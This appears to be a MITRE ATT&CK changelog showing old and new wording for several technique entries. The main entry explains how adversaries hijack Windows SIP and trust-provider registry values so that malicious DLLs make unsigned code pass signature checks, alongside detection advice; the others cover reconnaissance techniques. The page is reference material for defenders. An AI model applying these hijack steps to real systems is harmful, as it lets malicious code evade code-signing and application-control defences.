* **Note:** The above hijacks are also possible without modifying the Registry via [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1038).
Hijacking SIP or trust provider components can also enable persistent code execution, since these malicious components may be invoked by any application that performs code signing or signature validation. (Citation: SpectorOps Subverting Trust Sept 2017) | Adversaries may tamper with SIP and trust provider components to mislead the operating system and application control tools when conducting signature validation checks. In user mode, Windows Authenticode (Citation: Microsoft Authenticode) digital signatures are used to verify a file's origin and integrity, variables that may be used to establish trust in signed code (ex: a driver with a valid Microsoft signature may be handled as safe). The signature validation process is handled via the WinVerifyTrust application programming interface (API) function, (Citation: Microsoft WinVerifyTrust) which accepts an inquiry and coordinates with the appropriate trust provider, which is responsible for validating parameters of a signature. (Citation: SpectorOps Subverting Trust Sept 2017)
Because of the varying executable file types and corresponding signature formats, Microsoft created software components called Subject Interface Packages (SIPs) (Citation: EduardosBlog SIPs July 2008) to provide a layer of abstraction between API functions and files. SIPs are responsible for enabling API functions to create, retrieve, calculate, and verify signatures. Unique SIPs exist for most file formats (Executable, PowerShell, Installer, etc., with catalog signing providing a catch-all (Citation: Microsoft Catalog Files and Signatures April 2017)) and are identified by globally unique identifiers (GUIDs). (Citation: SpectorOps Subverting Trust Sept 2017)
Similar to [Code Signing](https://attack.mitre.org/techniques/T1553/002), adversaries may abuse this architecture to subvert trust controls and bypass security policies that allow only legitimately signed code to execute on a system. Adversaries may hijack SIP and trust provider components to mislead operating system and application control tools to classify malicious (or any) code as signed by: (Citation: SpectorOps Subverting Trust Sept 2017)
* Modifying the Dll and FuncName Registry values in HKLM\SOFTWARE[\WOW6432Node\]Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllGetSignedDataMsg\{SIP_GUID} that point to the dynamic link library (DLL) providing a SIP’s CryptSIPDllGetSignedDataMsg function, which retrieves an encoded digital certificate from a signed file. By pointing to a maliciously-crafted DLL with an exported function that always returns a known good signature value (ex: a Microsoft signature for Portable Executables) rather than the file’s real signature, an adversary can apply an acceptable signature value to all files using that SIP (Citation: GitHub SIP POC Sept 2017) (although a hash mismatch will likely occur, invalidating the signature, since the hash returned by the function will not match the value computed from the file).
* Modifying the Dll and FuncName Registry values in HKLM\SOFTWARE\[WOW6432Node\]Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllVerifyIndirectData\{SIP_GUID} that point to the DLL providing a SIP’s CryptSIPDllVerifyIndirectData function, which validates a file’s computed hash against the signed hash value. By pointing to a maliciously-crafted DLL with an exported function that always returns TRUE (indicating that the validation was successful), an adversary can successfully validate any file (with a legitimate signature) using that SIP (Citation: GitHub SIP POC Sept 2017) (with or without hijacking the previously mentioned CryptSIPDllGetSignedDataMsg function). This Registry value could also be redirected to a suitable exported function from an already present DLL, avoiding the requirement to drop and execute a new file on disk.
* Modifying the DLL and Function Registry values in HKLM\SOFTWARE\[WOW6432Node\]Microsoft\Cryptography\Providers\Trust\FinalPolicy\{trust provider GUID} that point to the DLL providing a trust provider’s FinalPolicy function, which is where the decoded and parsed signature is checked and the majority of trust decisions are made. Similar to hijacking SIP’s CryptSIPDllVerifyIndirectData function, this value can be redirected to a suitable exported function from an already present DLL or a maliciously-crafted DLL (though the implementation of a trust provider is complex).
* **Note:** The above hijacks are also possible without modifying the Registry via [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1574/001).
Hijacking SIP or trust provider components can also enable persistent code execution, since these malicious components may be invoked by any application that performs code signing or signature validation. (Citation: SpectorOps Subverting Trust Sept 2017) |
| x_mitre_data_sources[0] | Windows Registry | Module: Module Load |
| x_mitre_data_sources[1] | API monitoring | Windows Registry: Windows Registry Key Modification |
| x_mitre_data_sources[2] | Application logs | File: File Modification |
| x_mitre_detection | Periodically baseline registered SIPs and trust providers (Registry entries and files on disk), specifically looking for new, modified, or non-Microsoft entries. (Citation: SpectorOps Subverting Trust Sept 2017) Enable CryptoAPI v2 (CAPI) event logging (Citation: Entrust Enable CAPI2 Aug 2017) to monitor and analyze error events related to failed trust validation (Event ID 81, though this event can be subverted by hijacked trust provider components) as well as any other provided information events (ex: successful validations). Code Integrity event logging may also provide valuable indicators of malicious SIP or trust provider loads, since protected processes that attempt to load a maliciously-crafted trust validation component will likely fail (Event ID 3033). (Citation: SpectorOps Subverting Trust Sept 2017) Utilize Sysmon detection rules and/or enable the Registry (Global Object Access Auditing) (Citation: Microsoft Registry Auditing Aug 2016) setting in the Advanced Security Audit policy to apply a global system access control list (SACL) and event auditing on modifications to Registry values (sub)keys related to SIPs and trust providers: (Citation: Microsoft Audit Registry July 2012) * HKLM\SOFTWARE\Microsoft\Cryptography\OID * HKLM\SOFTWARE\WOW6432Node\Microsoft\Cryptography\OID * HKLM\SOFTWARE\Microsoft\Cryptography\Providers\Trust * HKLM\SOFTWARE\WOW6432Node\Microsoft\Cryptography\Providers\Trust **Note:** As part of this technique, adversaries may attempt to manually edit these Registry keys (ex: Regedit) or utilize the legitimate registration process using [Regsvr32](https://attack.mitre.org/techniques/T1117). (Citation: SpectorOps Subverting Trust Sept 2017) Analyze Autoruns data for oddities and anomalies, specifically malicious files attempting persistent execution by hiding within auto-starting locations. Autoruns will hide entries signed by Microsoft or Windows by default, so ensure “Hide Microsoft Entries” and “Hide Windows Entries” are both deselected. (Citation: SpectorOps Subverting Trust Sept 2017) | Periodically baseline registered SIPs and trust providers (Registry entries and files on disk), specifically looking for new, modified, or non-Microsoft entries. (Citation: SpectorOps Subverting Trust Sept 2017) Enable CryptoAPI v2 (CAPI) event logging (Citation: Entrust Enable CAPI2 Aug 2017) to monitor and analyze error events related to failed trust validation (Event ID 81, though this event can be subverted by hijacked trust provider components) as well as any other provided information events (ex: successful validations). Code Integrity event logging may also provide valuable indicators of malicious SIP or trust provider loads, since protected processes that attempt to load a maliciously-crafted trust validation component will likely fail (Event ID 3033). (Citation: SpectorOps Subverting Trust Sept 2017) Utilize Sysmon detection rules and/or enable the Registry (Global Object Access Auditing) (Citation: Microsoft Registry Auditing Aug 2016) setting in the Advanced Security Audit policy to apply a global system access control list (SACL) and event auditing on modifications to Registry values (sub)keys related to SIPs and trust providers: (Citation: Microsoft Audit Registry July 2012) * HKLM\SOFTWARE\Microsoft\Cryptography\OID * HKLM\SOFTWARE\WOW6432Node\Microsoft\Cryptography\OID * HKLM\SOFTWARE\Microsoft\Cryptography\Providers\Trust * HKLM\SOFTWARE\WOW6432Node\Microsoft\Cryptography\Providers\Trust **Note:** As part of this technique, adversaries may attempt to manually edit these Registry keys (ex: Regedit) or utilize the legitimate registration process using [Regsvr32](https://attack.mitre.org/techniques/T1218/010). (Citation: SpectorOps Subverting Trust Sept 2017) Analyze Autoruns data for oddities and anomalies, specifically malicious files attempting persistent execution by hiding within auto-starting locations. Autoruns will hide entries signed by Microsoft or Windows by default, so ensure “Hide Microsoft Entries” and “Hide Windows Entries” are both deselected. (Citation: SpectorOps Subverting Trust Sept 2017) |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | DLL monitoring | |
| x_mitre_data_sources | Loaded DLLs | |
| x_mitre_data_sources | Process monitoring | |
| x_mitre_data_sources | Windows Registry | |
| x_mitre_data_sources | Windows event logs |
Current version: 1.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Before compromising a victim, adversaries may search within | t | 1 | Adversaries may search within public scan databases for info |
| > | public scan databases for information about victims that can | > | rmation about victims that can be used during targeting. Var | ||
| > | be used during targeting. Various online services continuou | > | ious online services continuously publish the results of Int | ||
| > | sly publish the results of Internet scans/surveys, often har | > | ernet scans/surveys, often harvesting information such as ac | ||
| > | vesting information such as active IP addresses, hostnames, | > | tive IP addresses, hostnames, open ports, certificates, and | ||
| > | open ports, certificates, and even server banners.(Citation: | > | even server banners.(Citation: Shodan) Adversaries may sear | ||
| > | Shodan) Adversaries may search scan databases to gather ac | > | ch scan databases to gather actionable information. Threat a | ||
| > | tionable information. Threat actors can use online resources | > | ctors can use online resources and lookup tools to harvest i | ||
| > | and lookup tools to harvest information from these services | > | nformation from these services. Adversaries may seek informa | ||
| > | . Adversaries may seek information about their already ident | > | tion about their already identified targets, or use these da | ||
| > | ified targets, or use these datasets to discover opportuniti | > | tasets to discover opportunities for successful breaches. In | ||
| > | es for successful breaches. Information from these sources m | > | formation from these sources may reveal opportunities for ot | ||
| > | ay reveal opportunities for other forms of reconnaissance (e | > | her forms of reconnaissance (ex: [Active Scanning](https://a | ||
| > | x: [Active Scanning](https://attack.mitre.org/techniques/T15 | > | ttack.mitre.org/techniques/T1595) or [Search Open Websites/D | ||
| > | 95) or [Search Open Websites/Domains](https://attack.mitre.o | > | omains](https://attack.mitre.org/techniques/T1593)), establi | ||
| > | rg/techniques/T1593)), establishing operational resources (e | > | shing operational resources (ex: [Develop Capabilities](http | ||
| > | x: [Develop Capabilities](https://attack.mitre.org/technique | > | s://attack.mitre.org/techniques/T1587) or [Obtain Capabiliti | ||
| > | s/T1587) or [Obtain Capabilities](https://attack.mitre.org/t | > | es](https://attack.mitre.org/techniques/T1588)), and/or init | ||
| > | echniques/T1588)), and/or initial access (ex: [External Remo | > | ial access (ex: [External Remote Services](https://attack.mi | ||
| > | te Services](https://attack.mitre.org/techniques/T1133) or [ | > | tre.org/techniques/T1133) or [Exploit Public-Facing Applicat | ||
| > | Exploit Public-Facing Application](https://attack.mitre.org/ | > | ion](https://attack.mitre.org/techniques/T1190)). | ||
| > | techniques/T1190)). | ||||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-24 04:20:18.786000+00:00 | 2021-04-15 03:49:49.260000+00:00 |
| description | Before compromising a victim, adversaries may search within public scan databases for information about victims that can be used during targeting. Various online services continuously publish the results of Internet scans/surveys, often harvesting information such as active IP addresses, hostnames, open ports, certificates, and even server banners.(Citation: Shodan) Adversaries may search scan databases to gather actionable information. Threat actors can use online resources and lookup tools to harvest information from these services. Adversaries may seek information about their already identified targets, or use these datasets to discover opportunities for successful breaches. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190)). | Adversaries may search within public scan databases for information about victims that can be used during targeting. Various online services continuously publish the results of Internet scans/surveys, often harvesting information such as active IP addresses, hostnames, open ports, certificates, and even server banners.(Citation: Shodan) Adversaries may search scan databases to gather actionable information. Threat actors can use online resources and lookup tools to harvest information from these services. Adversaries may seek information about their already identified targets, or use these datasets to discover opportunities for successful breaches. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190)). |
Current version: 1.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Before compromising a victim, adversaries may scan victim IP | t | 1 | Adversaries may scan victim IP blocks to gather information |
| > | blocks to gather information that can be used during target | > | that can be used during targeting. Public IP addresses may b | ||
| > | ing. Public IP addresses may be allocated to organizations b | > | e allocated to organizations by block, or a range of sequent | ||
| > | y block, or a range of sequential addresses. Adversaries ma | > | ial addresses. Adversaries may scan IP blocks in order to [ | ||
| > | y scan IP blocks in order to [Gather Victim Network Informat | > | Gather Victim Network Information](https://attack.mitre.org/ | ||
| > | ion](https://attack.mitre.org/techniques/T1590), such as whi | > | techniques/T1590), such as which IP addresses are actively i | ||
| > | ch IP addresses are actively in use as well as more detailed | > | n use as well as more detailed information about hosts assig | ||
| > | information about hosts assigned these addresses. Scans may | > | ned these addresses. Scans may range from simple pings (ICMP | ||
| > | range from simple pings (ICMP requests and responses) to mo | > | requests and responses) to more nuanced scans that may reve | ||
| > | re nuanced scans that may reveal host software/versions via | > | al host software/versions via server banners or other networ | ||
| > | server banners or other network artifacts.(Citation: Botnet | > | k artifacts.(Citation: Botnet Scan) Information from these s | ||
| > | Scan) Information from these scans may reveal opportunities | > | cans may reveal opportunities for other forms of reconnaissa | ||
| > | for other forms of reconnaissance (ex: [Search Open Websites | > | nce (ex: [Search Open Websites/Domains](https://attack.mitre | ||
| > | /Domains](https://attack.mitre.org/techniques/T1593) or [Sea | > | .org/techniques/T1593) or [Search Open Technical Databases]( | ||
| > | rch Open Technical Databases](https://attack.mitre.org/techn | > | https://attack.mitre.org/techniques/T1596)), establishing op | ||
| > | iques/T1596)), establishing operational resources (ex: [Deve | > | erational resources (ex: [Develop Capabilities](https://atta | ||
| > | lop Capabilities](https://attack.mitre.org/techniques/T1587) | > | ck.mitre.org/techniques/T1587) or [Obtain Capabilities](http | ||
| > | or [Obtain Capabilities](https://attack.mitre.org/technique | > | s://attack.mitre.org/techniques/T1588)), and/or initial acce | ||
| > | s/T1588)), and/or initial access (ex: [External Remote Servi | > | ss (ex: [External Remote Services](https://attack.mitre.org/ | ||
| > | ces](https://attack.mitre.org/techniques/T1133)). | > | techniques/T1133)). | ||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-24 04:06:09.139000+00:00 | 2021-04-15 03:19:38.469000+00:00 |
| description | Before compromising a victim, adversaries may scan victim IP blocks to gather information that can be used during targeting. Public IP addresses may be allocated to organizations by block, or a range of sequential addresses. Adversaries may scan IP blocks in order to [Gather Victim Network Information](https://attack.mitre.org/techniques/T1590), such as which IP addresses are actively in use as well as more detailed information about hosts assigned these addresses. Scans may range from simple pings (ICMP requests and responses) to more nuanced scans that may reveal host software/versions via server banners or other network artifacts.(Citation: Botnet Scan) Information from these scans may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133)). | Adversaries may scan victim IP blocks to gather information that can be used during targeting. Public IP addresses may be allocated to organizations by block, or a range of sequential addresses. Adversaries may scan IP blocks in order to [Gather Victim Network Information](https://attack.mitre.org/techniques/T1590), such as which IP addresses are actively in use as well as more detailed information about hosts assigned these addresses. Scans may range from simple pings (ICMP requests and responses) to more nuanced scans that may reveal host software/versions via server banners or other network artifacts.(Citation: Botnet Scan) Information from these scans may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133)). |
| x_mitre_data_sources[0] | Packet capture | Network Traffic: Network Traffic Flow |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Network device logs |
Current version: 1.0
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-24 13:45:03.730000+00:00 | 2020-12-30 14:26:44.730000+00:00 |
| x_mitre_data_sources[0] | File monitoring | Scheduled Job: Scheduled Job Creation |
| x_mitre_data_sources[1] | Process command-line parameters | Command: Command Execution |
| x_mitre_data_sources[2] | Process monitoring | File: File Modification |
| x_mitre_data_sources[3] | Windows event logs | Process: Process Creation |
Current version: 1.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Before compromising a victim, adversaries may search and gat | t | 1 | Adversaries may search and gather information about victims |
| > | her information about victims from closed sources that can b | > | from closed sources that can be used during targeting. Infor | ||
| > | e used during targeting. Information about victims may be av | > | mation about victims may be available for purchase from repu | ||
| > | ailable for purchase from reputable private sources and data | > | table private sources and databases, such as paid subscripti | ||
| > | bases, such as paid subscriptions to feeds of technical/thre | > | ons to feeds of technical/threat intelligence data.(Citation | ||
| > | at intelligence data.(Citation: D3Secutrity CTI Feeds) Adver | > | : D3Secutrity CTI Feeds) Adversaries may also purchase infor | ||
| > | saries may also purchase information from less-reputable sou | > | mation from less-reputable sources such as dark web or cyber | ||
| > | rces such as dark web or cybercrime blackmarkets.(Citation: | > | crime blackmarkets.(Citation: ZDNET Selling Data) Adversari | ||
| > | ZDNET Selling Data) Adversaries may search in different clo | > | es may search in different closed databases depending on wha | ||
| > | sed databases depending on what information they seek to gat | > | t information they seek to gather. Information from these so | ||
| > | her. Information from these sources may reveal opportunities | > | urces may reveal opportunities for other forms of reconnaiss | ||
| > | for other forms of reconnaissance (ex: [Phishing for Inform | > | ance (ex: [Phishing for Information](https://attack.mitre.or | ||
| > | ation](https://attack.mitre.org/techniques/T1598) or [Search | > | g/techniques/T1598) or [Search Open Websites/Domains](https: | ||
| > | Open Websites/Domains](https://attack.mitre.org/techniques/ | > | //attack.mitre.org/techniques/T1593)), establishing operatio | ||
| > | T1593)), establishing operational resources (ex: [Develop Ca | > | nal resources (ex: [Develop Capabilities](https://attack.mit | ||
| > | pabilities](https://attack.mitre.org/techniques/T1587) or [O | > | re.org/techniques/T1587) or [Obtain Capabilities](https://at | ||
| > | btain Capabilities](https://attack.mitre.org/techniques/T158 | > | tack.mitre.org/techniques/T1588)), and/or initial access (ex | ||
| > | 8)), and/or initial access (ex: [External Remote Services](h | > | : [External Remote Services](https://attack.mitre.org/techni | ||
| > | ttps://attack.mitre.org/techniques/T1133) or [Valid Accounts | > | ques/T1133) or [Valid Accounts](https://attack.mitre.org/tec | ||
| > | ](https://attack.mitre.org/techniques/T1078)). | > | hniques/T1078)). | ||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-24 04:15:53.892000+00:00 | 2021-04-15 03:45:31.020000+00:00 |
| description | Before compromising a victim, adversaries may search and gather information about victims from closed sources that can be used during targeting. Information about victims may be available for purchase from reputable private sources and databases, such as paid subscriptions to feeds of technical/threat intelligence data.(Citation: D3Secutrity CTI Feeds) Adversaries may also purchase information from less-reputable sources such as dark web or cybercrime blackmarkets.(Citation: ZDNET Selling Data) Adversaries may search in different closed databases depending on what information they seek to gather. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Valid Accounts](https://attack.mitre.org/techniques/T1078)). | Adversaries may search and gather information about victims from closed sources that can be used during targeting. Information about victims may be available for purchase from reputable private sources and databases, such as paid subscriptions to feeds of technical/threat intelligence data.(Citation: D3Secutrity CTI Feeds) Adversaries may also purchase information from less-reputable sources such as dark web or cybercrime blackmarkets.(Citation: ZDNET Selling Data) Adversaries may search in different closed databases depending on what information they seek to gather. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Valid Accounts](https://attack.mitre.org/techniques/T1078)). |
Current version: 1.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Before compromising a victim, adversaries may use search eng | t | 1 | Adversaries may use search engines to collect information ab |
| > | ines to collect information about victims that can be used d | > | out victims that can be used during targeting. Search engine | ||
| > | uring targeting. Search engine services typical crawl online | > | services typical crawl online sites to index context and ma | ||
| > | sites to index context and may provide users with specializ | > | y provide users with specialized syntax to search for specif | ||
| > | ed syntax to search for specific keywords or specific types | > | ic keywords or specific types of content (i.e. filetypes).(C | ||
| > | of content (i.e. filetypes).(Citation: SecurityTrails Google | > | itation: SecurityTrails Google Hacking)(Citation: ExploitDB | ||
| > | Hacking)(Citation: ExploitDB GoogleHacking) Adversaries ma | > | GoogleHacking) Adversaries may craft various search engine | ||
| > | y craft various search engine queries depending on what info | > | queries depending on what information they seek to gather. T | ||
| > | rmation they seek to gather. Threat actors may use search en | > | hreat actors may use search engines to harvest general infor | ||
| > | gines to harvest general information about victims, as well | > | mation about victims, as well as use specialized queries to | ||
| > | as use specialized queries to look for spillages/leaks of se | > | look for spillages/leaks of sensitive information such as ne | ||
| > | nsitive information such as network details or credentials. | > | twork details or credentials. Information from these sources | ||
| > | Information from these sources may reveal opportunities for | > | may reveal opportunities for other forms of reconnaissance | ||
| > | other forms of reconnaissance (ex: [Phishing for Information | > | (ex: [Phishing for Information](https://attack.mitre.org/tec | ||
| > | ](https://attack.mitre.org/techniques/T1598) or [Search Open | > | hniques/T1598) or [Search Open Technical Databases](https:// | ||
| > | Technical Databases](https://attack.mitre.org/techniques/T1 | > | attack.mitre.org/techniques/T1596)), establishing operationa | ||
| > | 596)), establishing operational resources (ex: [Establish Ac | > | l resources (ex: [Establish Accounts](https://attack.mitre.o | ||
| > | counts](https://attack.mitre.org/techniques/T1585) or [Compr | > | rg/techniques/T1585) or [Compromise Accounts](https://attack | ||
| > | omise Accounts](https://attack.mitre.org/techniques/T1586)), | > | .mitre.org/techniques/T1586)), and/or initial access (ex: [V | ||
| > | and/or initial access (ex: [Valid Accounts](https://attack. | > | alid Accounts](https://attack.mitre.org/techniques/T1078) or | ||
| > | mitre.org/techniques/T1078) or [Phishing](https://attack.mit | > | [Phishing](https://attack.mitre.org/techniques/T1566)). | ||
| > | re.org/techniques/T1566)). | ||||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-24 04:22:11.245000+00:00 | 2021-04-15 03:52:06.960000+00:00 |
| description | Before compromising a victim, adversaries may use search engines to collect information about victims that can be used during targeting. Search engine services typical crawl online sites to index context and may provide users with specialized syntax to search for specific keywords or specific types of content (i.e. filetypes).(Citation: SecurityTrails Google Hacking)(Citation: ExploitDB GoogleHacking) Adversaries may craft various search engine queries depending on what information they seek to gather. Threat actors may use search engines to harvest general information about victims, as well as use specialized queries to look for spillages/leaks of sensitive information such as network details or credentials. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Valid Accounts](https://attack.mitre.org/techniques/T1078) or [Phishing](https://attack.mitre.org/techniques/T1566)). | Adversaries may use search engines to collect information about victims that can be used during targeting. Search engine services typical crawl online sites to index context and may provide users with specialized syntax to search for specific keywords or specific types of content (i.e. filetypes).(Citation: SecurityTrails Google Hacking)(Citation: ExploitDB GoogleHacking) Adversaries may craft various search engine queries depending on what information they seek to gather. Threat actors may use search engines to harvest general information about victims, as well as use specialized queries to look for spillages/leaks of sensitive information such as network details or credentials. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Valid Accounts](https://attack.mitre.org/techniques/T1078) or [Phishing](https://attack.mitre.org/techniques/T1566)). |
Current version: 1.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Before compromising a victim, adversaries may search freely | t | 1 | Adversaries may search freely available technical databases |
| > | available technical databases for information about victims | > | for information about victims that can be used during target | ||
| > | that can be used during targeting. Information about victims | > | ing. Information about victims may be available in online da | ||
| > | may be available in online databases and repositories, such | > | tabases and repositories, such as registrations of domains/c | ||
| > | as registrations of domains/certificates as well as public | > | ertificates as well as public collections of network data/ar | ||
| > | collections of network data/artifacts gathered from traffic | > | tifacts gathered from traffic and/or scans.(Citation: WHOIS) | ||
| > | and/or scans.(Citation: WHOIS)(Citation: DNS Dumpster)(Citat | > | (Citation: DNS Dumpster)(Citation: Circl Passive DNS)(Citati | ||
| > | ion: Circl Passive DNS)(Citation: Medium SSL Cert)(Citation: | > | on: Medium SSL Cert)(Citation: SSLShopper Lookup)(Citation: | ||
| > | SSLShopper Lookup)(Citation: DigitalShadows CDN)(Citation: | > | DigitalShadows CDN)(Citation: Shodan) Adversaries may searc | ||
| > | Shodan) Adversaries may search in different open databases | > | h in different open databases depending on what information | ||
| > | depending on what information they seek to gather. Informati | > | they seek to gather. Information from these sources may reve | ||
| > | on from these sources may reveal opportunities for other for | > | al opportunities for other forms of reconnaissance (ex: [Phi | ||
| > | ms of reconnaissance (ex: [Phishing for Information](https:/ | > | shing for Information](https://attack.mitre.org/techniques/T | ||
| > | /attack.mitre.org/techniques/T1598) or [Search Open Websites | > | 1598) or [Search Open Websites/Domains](https://attack.mitre | ||
| > | /Domains](https://attack.mitre.org/techniques/T1593)), estab | > | .org/techniques/T1593)), establishing operational resources | ||
| > | lishing operational resources (ex: [Acquire Infrastructure]( | > | (ex: [Acquire Infrastructure](https://attack.mitre.org/techn | ||
| > | https://attack.mitre.org/techniques/T1583) or [Compromise In | > | iques/T1583) or [Compromise Infrastructure](https://attack.m | ||
| > | frastructure](https://attack.mitre.org/techniques/T1584)), a | > | itre.org/techniques/T1584)), and/or initial access (ex: [Ext | ||
| > | nd/or initial access (ex: [External Remote Services](https:/ | > | ernal Remote Services](https://attack.mitre.org/techniques/T | ||
| > | /attack.mitre.org/techniques/T1133) or [Trusted Relationship | > | 1133) or [Trusted Relationship](https://attack.mitre.org/tec | ||
| > | ](https://attack.mitre.org/techniques/T1199)). | > | hniques/T1199)). | ||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-24 04:20:44.166000+00:00 | 2021-04-15 03:50:44.308000+00:00 |
| description | Before compromising a victim, adversaries may search freely available technical databases for information about victims that can be used during targeting. Information about victims may be available in online databases and repositories, such as registrations of domains/certificates as well as public collections of network data/artifacts gathered from traffic and/or scans.(Citation: WHOIS)(Citation: DNS Dumpster)(Citation: Circl Passive DNS)(Citation: Medium SSL Cert)(Citation: SSLShopper Lookup)(Citation: DigitalShadows CDN)(Citation: Shodan) Adversaries may search in different open databases depending on what information they seek to gather. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Trusted Relationship](https://attack.mitre.org/techniques/T1199)). | Adversaries may search freely available technical databases for information about victims that can be used during targeting. Information about victims may be available in online databases and repositories, such as registrations of domains/certificates as well as public collections of network data/artifacts gathered from traffic and/or scans.(Citation: WHOIS)(Citation: DNS Dumpster)(Citation: Circl Passive DNS)(Citation: Medium SSL Cert)(Citation: SSLShopper Lookup)(Citation: DigitalShadows CDN)(Citation: Shodan) Adversaries may search in different open databases depending on what information they seek to gather. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Trusted Relationship](https://attack.mitre.org/techniques/T1199)). |
Current version: 1.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Before compromising a victim, adversaries may search freely | t | 1 | Adversaries may search freely available websites and/or doma |
| > | available websites and/or domains for information about vict | > | ins for information about victims that can be used during ta | ||
| > | ims that can be used during targeting. Information about vic | > | rgeting. Information about victims may be available in vario | ||
| > | tims may be available in various online sites, such as socia | > | us online sites, such as social media, new sites, or those h | ||
| > | l media, new sites, or those hosting information about busin | > | osting information about business operations such as hiring | ||
| > | ess operations such as hiring or requested/rewarded contract | > | or requested/rewarded contracts.(Citation: Cyware Social Med | ||
| > | s.(Citation: Cyware Social Media)(Citation: SecurityTrails G | > | ia)(Citation: SecurityTrails Google Hacking)(Citation: Explo | ||
| > | oogle Hacking)(Citation: ExploitDB GoogleHacking) Adversari | > | itDB GoogleHacking) Adversaries may search in different onl | ||
| > | es may search in different online sites depending on what in | > | ine sites depending on what information they seek to gather. | ||
| > | formation they seek to gather. Information from these source | > | Information from these sources may reveal opportunities for | ||
| > | s may reveal opportunities for other forms of reconnaissance | > | other forms of reconnaissance (ex: [Phishing for Informatio | ||
| > | (ex: [Phishing for Information](https://attack.mitre.org/te | > | n](https://attack.mitre.org/techniques/T1598) or [Search Ope | ||
| > | chniques/T1598) or [Search Open Technical Databases](https:/ | > | n Technical Databases](https://attack.mitre.org/techniques/T | ||
| > | /attack.mitre.org/techniques/T1596)), establishing operation | > | 1596)), establishing operational resources (ex: [Establish A | ||
| > | al resources (ex: [Establish Accounts](https://attack.mitre. | > | ccounts](https://attack.mitre.org/techniques/T1585) or [Comp | ||
